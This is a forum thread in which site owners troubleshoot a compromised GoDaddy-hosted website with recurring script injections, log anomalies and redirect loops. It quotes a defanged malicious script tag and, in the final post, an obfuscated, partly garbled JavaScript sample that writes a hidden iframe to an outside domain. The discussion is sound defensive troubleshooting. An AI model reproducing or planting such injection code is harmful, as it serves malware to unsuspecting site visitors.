by SteveW
8 months ago

I use a download tool that is configured to follow links and recreate your server’s directory structure here as the files are downloaded. It created both a /forum/ folder and also /forums/.

There is some very weird activity going on.

When I request /forums/ in Firefox, it produces what appears to be an endless chain of recursive calls to your files (not to an external site, as far as I can tell) that creates a huge amount of back and forth traffic between me and your server, which hangs up Firefox, disrupts my screen display, and forces me to manually close Firefox.

The same thing happens when I request /foruma/, so this behavior seems to occur when a nonexistent folder is requested out of the forum.

If I request a nonexistent file from your site like nopage.html, I get a 200 Success result code (which is however incorrect) and it redirects to your home page. So “Not Found” errors are being handled differently by your main site and by your forum. The main site handling is technically wrong and should be fixed to return no page at all and a “404” result code. But the forum’s handling of 404’s is so bad that Google would indeed consider it malicious even if it is only inadvertent.

Take a close look at how your site (probably in your .asp code?) handles 404 – Not Found errors, and especially how YAF code is handling the same.

This seems to be a separate issue from the script insertions, at least from what I’ve seen so far.

by SteveW
8 months ago

On your forum pages, there is a reference to a script from iwvision.com inserted before the body tag of each page. The script is called automatically when the page is loaded. Since they’re a flagged site, and your site loads this script automatically, if their site is flagged and has malware, you’ll get flagged, too.

Here’s the surrounding code, somewhat altered:

As expected, the forum editor tore it to pieces, so I removed it. Anyway, you can View Source on any forum page. Here’s the offending line:

script src=hxxp :// iw vision . com / images / nt1 / title-portfolio . php

by dagonus
8 months ago

Yep. I saw that (See my previous post) I was leaving it there briefly so I wouldn’t have any good data in the access logs now that I was able to get at them. I also wanted you to see what I was getting since last time you didn’t see it since I’d cleaned things out. Several ASPX files have modified dates of early on the morning of the 29th.

Any more thoughts on prevention? I’m not 100% sure what I’m looking for in the logs since it’s 99% Gets and then an occasional put on default.aspx in the forum which i’m assuming is a post or a login, but I can’t be certain.

What I’m noticing that is bizarre about the logs is the timestamps on them.

Jun2009 Logs: November 29
July2009 Logs: August 1
Aug2009 logs: August 31
Sept2009 Logs: September 30
Oct2009 logs:October 31
November2009 Logs: November 29

Why is the June Log dated November 29th? Peculiar I think.

There are no posts close to 6:30, only gets.

As for the /forums/ issue I don’t think it has anything to do with the forums. go to /random/ or /anything/. As far as the forum is concerned, only /forum/ exists. I set it so that it believes /forum/ is root. /random/ would have nothing to do with the forum. However, I managed to load /random/ and then view its source. It appears that what it’s doing is redirecting any blank page to ~/index.html but since index.html is calling relative pages in frames, it results in calling more index.html. I might be able to fix that by having /index.html call absolute links or by making /index just a splash page and then go to the main page via a link. I have no clue why it does that, but I’m pretty sure its unrelated to the forums.

As for my database, I can back it up and download the backup to go through it that way. Is there a program I could easily read it in? Or will I have to run SQL on my desktop? When I open it in gedit or notepad, it’s broken up with spaces between each character and is difficult to read. Alternatively I could read it on the server but that’s a slow process. If that’s how it has to be though, it’s doable.

Finally a bit more on IIS, according to GoDaddy, for security reasons they don’t allow IIS manager on IIS7, but they do on IIS6. But I recall seeing somewhere that that was allowed on accounts using IIS6. I don’t really know what that’s talking about specifically, but I am drawn to wonder if that’s a potential hole in this case, especially since you said you’d seen a good number of attacks against IIS6 users and IIS in general.

by SteveW
8 months ago

“Several ASPX files have modified dates of early on the morning of the 29th.”
“Why is the June Log dated November 29th? Peculiar I think.”

Yes, both of those do not seem normal.

“an occasional put on default.aspx in the forum which i’m assuming is a post or a login”

A forum login would most likely be a POST (not a forum post, but an HTTPPOST”, in the same sense that a GET is an HTTP GET). An HTTP PUT is worrisome because it is an instruction to the server to take the provided file and PUT it on the server. The server should NEVER allow that. In those entries there should be a number of “403” in the line, meaning Forbidden (the server did not honor the request). If it is instead a result code of 200, that could be bad. If the file has a timestamp that is the same as the PUT request, that means the server seems to be allowing something it absolutely should not, and it will require reconfiguration, probably by the host unless this is somehow handled in your ASP code. I would think that accepting a PUT would be a highly unusual and near impossible misconfiguration, but the fact that you stripped the site down to 1 html file, changed passwords, logged in from a linux PC, and it still got injected, makes weird scenarios seem more plausible.

This describes the possible result codes: http://en.wikipedia.org/wiki/List_of_HTTP_status_codes

For interpreting the logs, this link looks helpful, but I simply got it from a web search on
IIS log explain
so you might be able to find others
http://www.microsoft.com/windows/windows2000/en/advanced/iis/htm/core/iiabtlg.htm

“As for my database, I can back it up and download the backup to go through it that way. Is there a program I could easily read it in? Or will I have to run SQL on my desktop? When I open it in gedit or notepad, it’s broken up with spaces between each character and is difficult to read. Alternatively I could read it on the server but that’s a slow process. If that’s how it has to be though, it’s doable.”

The spaces between chars might be due to Unicode 16-bit text encoding with the in-between spaces actually being null bytes 00. It might be possible to either specify which encoding your editor should use, or maybe convert it by using SaveAs… Could be worth a try in Notepad, WordPad, gedit, or BlueFish. Does the file have an “.sql” extension?

by dagonus
8 months ago

My mistake. It wasn’t a PUT, it was a POST. I don’t know what possessed me to type PUT.

The file has a .bak extension.

I opened it up in Open Office Writer using Unicode encryption. I can read parts of it bt other parts are just garbage. Mostly #s that are breaking up sections. So I’ll get a post and then a bunch of # and other garbage before another post or I’ll get what I think is user data, broken up by the same.

by dagonus
8 months ago

It also seems that only parts of the bak file are encrpyted. When I view it with unicode encryption I can read posts etc with the issue I mentioned before but parts of the file become unreadable. Those parts are viewable as plain text. The parts that I can view in plain text appear to be the actual guts of the database.

Broken in among that though are parts that appear to be unicode and have somewhat strange things in them. I can pick out works lik “CALGARY” “VERIZON” “CAGE BY PET TREX” and also what appears to be addresses.

The parts that look like their the guts of the database also have some random pits of garbage broken in between sections. There’s be an “END” followed by garbage, followed by a “BEGIN

by dagonus
8 months ago

Ok. The recursive problem is half solved. More of a workaround really, but it gets the job done.

by fss1000
8 months ago

Out of curiosity, did you ever figure out if GoDaddy is the culprit? I’m having the same problem with several of my GD hosting accounts. Avast keeps flagging these inserted scripts as an iFrame trojan. I’ve changed my passwords multiple times and reloaded fresh copies of the HTML pages, but after a certain amount of time, the script is re-inserted and Avast flags them again as the same malware type.

Sample of the script is below…

///copy of script///

function PyqrS document getElementById

document[’w129r189i200t102102e’replace(/[0-9]/g, div id=yAI style visibility:hidden;display :none">%3Ciframe width%3D 1 height%3D1 border%3D0 fra mebor der%3D 0 src%3D%27http%3A%2F%2Fcentiyo.com%2Fin.cgi%3Fdefault%27%3E%3C%2Fiframe%3E function FNQTZzGxY(gaAdNomZIG){ fff.op.replace(“1123”); }

docume t[‘w161r137i16 7t161 119e .repla ce(/ [ -9]/g,’‘)](u nesc ape(document.getElemen ById(’yAI’).innerHT ML));f un ction n xZ HTf nHpm(z GuRQsw){ var FcZJw = document.getElementById(‘ZEucwCdBIG’);v ar FcZJw = document.getElementById(‘ZEucwCdBIG’);var FcZJw = d ocu ment.ge tEle mentById(‘ZEucwCdBIG’);windo w.e val();

function SgAk WUU{ alert(‘PXU’);v ar ycKxO=new Functio n(“PN uwF”, “return 5856;” );var = docu ment .getEleme ntById(‘KwbvL’); fff.op.rep lace(" 1114" );

function algoxfTdS(CQdWGsxMf){ var IjuAtlIPWw=new Function(“EBFAAulbve”, “return 564742;”); fff= op. s plit(“199”)

About Contact Us Terms & Conditions Privacy Policy Copyright